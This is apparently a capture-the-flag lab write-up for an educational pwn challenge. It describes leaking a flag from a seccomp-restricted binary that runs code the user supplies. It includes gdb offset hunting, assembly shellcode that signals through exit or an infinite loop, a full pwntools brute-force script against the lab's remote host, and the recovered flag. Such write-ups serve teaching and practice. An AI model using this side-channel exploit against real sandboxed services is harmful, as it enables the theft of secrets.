Simple PWN - 0x13(Lab - how2know)
tags: CTF PWN eductf
challenge: nc edu-ctf.zoolab.org 10002
Environment Version: 22.04
Original Code
1 | |
1 | |
1 | |
- Note that, if you want to use
seccomp-tools, you should modify/home/chal/flagto./flag - It just allow
exitfunction
Description & Preliminary idea
- At line 16, it create a writable, readable and executable space with size
0x1000 - And it read the flag to global variable without buffer overflow
- Then it allow us to write something to
addrmemory space - In addition, turn on
seccomprules to protect itself -
**MOST IMPORTANT AT LINE 35**
: it’ll call
addras function - So, the preliminary idea is to put some instructions to
addrand it’ll execute at line 35
Exploit - brute force + assembly instruction
- Observe register and try to leak flag info.
1
2
3
4
5$ gdb chal >pwndbg b main >pwndbg r >pwndbg b *main+337 >pwndbg c
We can see that in $r13store0x555555555289 (main) ◂— endbr64and we can aware of the truly address of variableflagby using vmmap.1
2
3
4
5pwndbg> vmmap pwndbg> x/100s 0x555555558000 ... 0x555555558040 <flag>: "FLAG{test_1235s456fasdjknisjsdfkl45641233f1234}\n" ...
So, we can knew the distance of these two address is **`0x2db7`**1
2>>> hex(0x555555558040-0x555555555289) '0x2db7'exploit: move the first 8 bytes to
$raxmov r10, r13 add r10, 0x2db7 mov rax, [r10]
- Note that, if you’d like to move next 8 bytes to
$rax, rewrite[r10]to[r10+0x8]
- Note that, if you’d like to move next 8 bytes to
- Compare the single char by brute force
If the result of comparison is correct, the system will call
sys_exitwitherror_code=0, otherwise, access to infinity loop. We start from0x20on ascii table and end at0x80Especially, when the comparison is correct, we have to shift$raxwith 8 bits and start to compare next single charmov cl, ''' + str(guess) + ''' shr rax, ''' + str(8*shift_count) + ''' Compare: cmp al, cl je the_same infinity1: jmp infinity1 the_same: mov rax, 0x3c mov rdi, 0 syscall - Send the shellcode to
addrglobal variable The trickiest things is you must add\x00at the end of received strings and the reason is for the control flow next.1
r.sendafter(b"code\n\x00", shellcode) - How to know the single char in pwntool side?
If compare correct, the program will exit directly and pwntools will trigger timeout function and do the exception, at the same time, we can clearly aware of the what is the current single char is, otherwise, the guess will increase and do the next comparison.
1
2
3
4
5
6
7
8
9
10try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.2) print('not the same') guess += 1 except: # If compare correct, pwntool will break out print('the same') break r.close() - Repeat
shift_countcan not over 7 is because the biggest size that$raxcan store is 8 bytesflag = '' shift_count = 0 while shift_count < 8: guess = 0x20 while guess < 0x80 : {create shellcode} {send shellcode} try: ... except: ... r.close() shift_count += 1 flag += chr(guess) print(flag) r.interactive()
- Whole exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46from pwn import * # r = process('./chal') context.arch = 'amd64' flag = '' shift_count = 0 while shift_count < 8: guess = 0x20 while guess < 0x80 : # r = process('./chal') r = remote('edu-ctf.zoolab.org',10002) shellcode = asm(''' mov r10, r13 add r10, 0x2db7 mov rax, [r10] mov cl, ''' + str(guess) + ''' shr rax, ''' + str(8*shift_count) + ''' Compare: cmp al, cl je the_same infinity1: jmp infinity1 the_same: mov rax, 0x3c mov rdi, 0 syscall ''') # raw_input() r.sendafter(b"code\n\x00", shellcode) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.2) print('not the same') guess += 1 except: # If compare correct, pwntool will break out print('the same') break # raw_input() r.close() shift_count += 1 flag += chr(guess) print(flag) r.interactive() -
Note that
: I create 6 multi-threads to execute the exploit program simultaneously with a little bit difference
- 1st thread:
mov rax, [r10]output:FLAG{pia - 2nd thread:
mov rax, [r10+0x8]output:no_d113f - 3rd thread:
mov rax, [r10+0x10]output:1c3f9ed8 - 4th thread:
mov rax, [r10+0x18]output:019288f4 - 5th thread:
mov rax, [r10+0x20]output:e8ddecfb - 6th thread:
mov rax, [r10+0x28]output:8ec} FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
- 1st thread: